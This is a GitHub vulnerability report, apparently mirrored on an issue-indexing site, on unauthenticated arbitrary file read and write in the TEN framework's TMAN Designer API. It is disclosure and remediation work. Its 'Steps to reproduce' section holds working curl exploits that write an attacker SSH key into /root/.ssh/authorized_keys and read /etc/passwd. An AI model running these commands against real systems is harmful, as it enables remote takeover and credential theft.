TEN-framework / TEN-framework/ten-framework

Unauthenticated arbitrary file read and write (to RCE) via the TMAN Designer file-content API

Open
#2,187 0 comments 0 reactions 0 assignees View on GitHub

Nobody has claimed this yet.

bug
Dominant language
Python
Stars
11.1k
Forks
1.4k
Avg merge
2d 15m
Merged PRs (30d)
22

Description

Description

The TEN Manager "TMAN Designer" backend (the HTTP server behind tman designer, the documented development UI) exposes file-content endpoints that read and write a caller-supplied filesystem path with no path confinement and no authentication. The server binds 0.0.0.0:49483 by default with any-origin CORS. An unauthenticated network client (or any web page, cross-origin) can therefore read any file the process can read and write any file it can write, which escalates trivially to remote code execution (write ~/.ssh/authorized_keys, a cron file, or a graph/extension file the agent later executes). Confirmed against the real tman designer binary over HTTP: /etc/passwd was read and a file was written outside any intended directory, with no credentials.

core/src/ten_manager/src/designer/file_content/mod.rs:

// read sink (~line 31)
let file_path = request_payload.file_path.clone();
fs::read_to_string(&file_path)          // raw client path, no confinement
// write sink (~lines 68-92)
fs::create_dir_all(parent);
fs::write(file_path, content)           // raw client path + content

Routes (core/src/ten_manager/src/designer/mod.rs ~lines 156 to 158): POST /api/designer/v1/file-content (read) and PUT /api/designer/v1/file-content (write). There is no authentication middleware on the designer app (it only wraps CORS). The default bind is 0.0.0.0 (cmd/cmd_designer.rs ~line 37), port 49483 (constants/mod.rs ~line 48), with Cors::default().allow_any_origin() (cmd_designer.rs ~line 136). This is the documented tman designer surface and is published in the project's docker-compose.

Environment
Steps to reproduce
# write (-> RCE: target an importable/served/authorized_keys path)
curl -X PUT http://TARGET:49483/api/designer/v1/file-content \
  -H 'Content-Type: application/json' \
  -d '{"file_path":"/root/.ssh/authorized_keys","content":"<attacker key>"}'
# read
curl -X POST http://TARGET:49483/api/designer/v1/file-content \
  -H 'Content-Type: application/json' -d '{"file_path":"/etc/passwd"}'

Validated against the tman designer binary (listening 49483): PUT {"file_path":"/tmp/ten_poc","content":"PWNED_BY_TEN_DESIGNER"} returned {"status":"ok"} and wrote the file (and a new directory via create_dir_all); POST {"file_path":"/etc/passwd"} returned {"status":"ok","data":{"content":"root:x:0:0:..."}} (full file). No credentials were sent. (Building tman required a stub for an unrelated native schema-validation library; the server log confirmed zero calls to it on the file-content path, so the std::fs read/write executed as real code.)

Expected behavior

Confine file_path to the intended project/app directory (canonicalize and assert the resolved path is within an allowed root; reject absolute paths and ..) on both the read and write endpoints. Require authentication on the designer API, and bind to loopback by default (do not bind 0.0.0.0 with any-origin CORS for an unauthenticated file API). Restrict writes to the project workspace.

Severity

Critical

Additional Information

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical)
CWE: CWE-306 Missing Authentication / CWE-22 Path Traversal (arbitrary file read and write)

Contributor guide

No contributing guide indexed for this repository

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

Research direction

Start with core/src/ten_manager/src/designer/file_content/mod.rs and the POST/PUT routes in core/src/ten_manager/src/designer/mod.rs. Review the bind and CORS setup in cmd/cmd_designer.rs plus the port in constants/mod.rs, then reproduce the file-content requests against tman designer. Done means both endpoints enforce the intended workspace and authentication boundaries, unsafe default exposure is addressed, and traversal or arbitrary file read/write attempts are rejected.

Written by the indexing model from the issue text.

Assessment

Tech stack
rust
Domain
authentication, backend, security
Issue type
Bug
Difficulty
5/5
Estimated time
Over a week
Activity status
Quiet
Clarity
Clearly specified
Newbie friendliness
35/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.